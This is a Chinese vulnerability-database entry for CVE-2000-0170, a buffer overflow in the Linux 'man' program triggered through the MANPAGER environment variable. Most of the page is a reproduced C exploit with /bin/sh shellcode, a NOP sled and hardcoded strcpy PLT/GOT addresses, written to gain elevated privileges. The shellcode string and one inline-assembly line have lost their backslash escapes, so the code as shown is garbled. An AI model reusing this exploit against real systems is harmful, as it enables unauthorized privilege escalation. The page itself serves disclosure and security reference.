多个Linux供应商缓冲区溢出漏洞

多个Linux供应商缓冲区溢出漏洞

漏洞ID 1105726 漏洞类型 缓冲区溢出
发布时间 2000-02-26 更新时间 2005-05-02
图片[1]-多个Linux供应商缓冲区溢出漏洞-安全小百科CVE编号 CVE-2000-0170
图片[2]-多个Linux供应商缓冲区溢出漏洞-安全小百科CNNVD-ID CNNVD-200002-073
漏洞平台 Linux CVSS评分 7.2
|漏洞来源
https://www.exploit-db.com/exploits/19779
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200002-073
|漏洞详情
Linuxman程序存在缓冲区溢出漏洞。本地用户借助MANPAGER环境变量可以提升特权。
|漏洞EXP
/*
source: http://www.securityfocus.com/bid/1011/info
 
RedHat 4.0/4.1/4.2/5.0/5.1/5.2/6.0/6.2,RedHat man 1.5,Turbolinux man 1.5,Turbolinux 3.5/4.2/4.4 man Buffer Overrun Vulnerability
 
A buffer overflow exists in the implementation of the 'man' program shipped with RedHat Linux, and other LInux vendors. By carefully crafting a long buffer of machine executable code, and placing it in the MANPAGER environmental variable, it becomes possible for a would be attacker to gain egid man.
 
Using attacks previously outlined by Pawel Wilk, and available in the reference portion of the credit section, it is possible for an attacker to alter manpages such that code will be executed. Upon looking up an altered manpage, code will be executed with the privileges of the person running man. If this person is the root user, root privileges can be obtained.
*/


/*
 * Rewriten from:
 * (c) 2000 babcia padlina / b0f
 * (lcamtuf's idea)
 * by Kil3r of Lam3rZ
 * for nonexec stack environment
 * 
 * redhat 6.1 (and others) /usr/bin/man exploit
*/

        char execshell[] =
        "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
        "x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
        "x80xe8xdcxffxffxff/bin/sh";


#include <stdio.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <string.h>

#define STRCPY          0x80490e4       // <== strcpy() PLT entry
#define GOT             0x805038c       // <== strcpy() GOT entry
#define NOP             0x90
#define BUFSIZE         4033+38
#define RET             STRCPY          //0x46464646
#define _BIN_SH         0xbfffffe7      // <== where we have "/bin/sh" string,
                                        //    curently useless ;)
#define SHELLCODE       0xbfffffc1

long getesp(void)
{
   __asm__("movl %esp, %eaxn");
}

int main(argc, argv)
int argc;
char **argv;
{
        char buf[BUFSIZE], *p;
        char *env[3];
        int *ap;

        memset(buf,NOP,BUFSIZE);

        p=buf+BUFSIZE-4;
        ap=(int *)p;
        *ap++ =RET;
        *ap++ =GOT+4;
        *ap++ =GOT+4;
        *ap++ =SHELLCODE;

        fprintf(stderr, "RET: 0x%x  SHELLCODE: 0x%x", RET, SHELLCODE);

        memcpy(buf,"MANPAGER=", 9);
        env[0]=buf;
//      env[1]="/bin/sh";
        env[1]=execshell;
        env[2]=(char *)0;
        execle("/usr/bin/man", "man", "ls", 0, env); // use execle to have
                                // shellcode and other params at fixed addr!!!

        return 0;
}
|参考资料

来源:BID
名称:1011
链接:http://www.securityfocus.com/bid/1011

相关推荐: Multiple Vendor libncurses Terminfo Buffer Overflow Vulnerability

Multiple Vendor libncurses Terminfo Buffer Overflow Vulnerability 漏洞ID 1103808 漏洞类型 Boundary Condition Error 发布时间 2000-10-09 更新时间 …

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享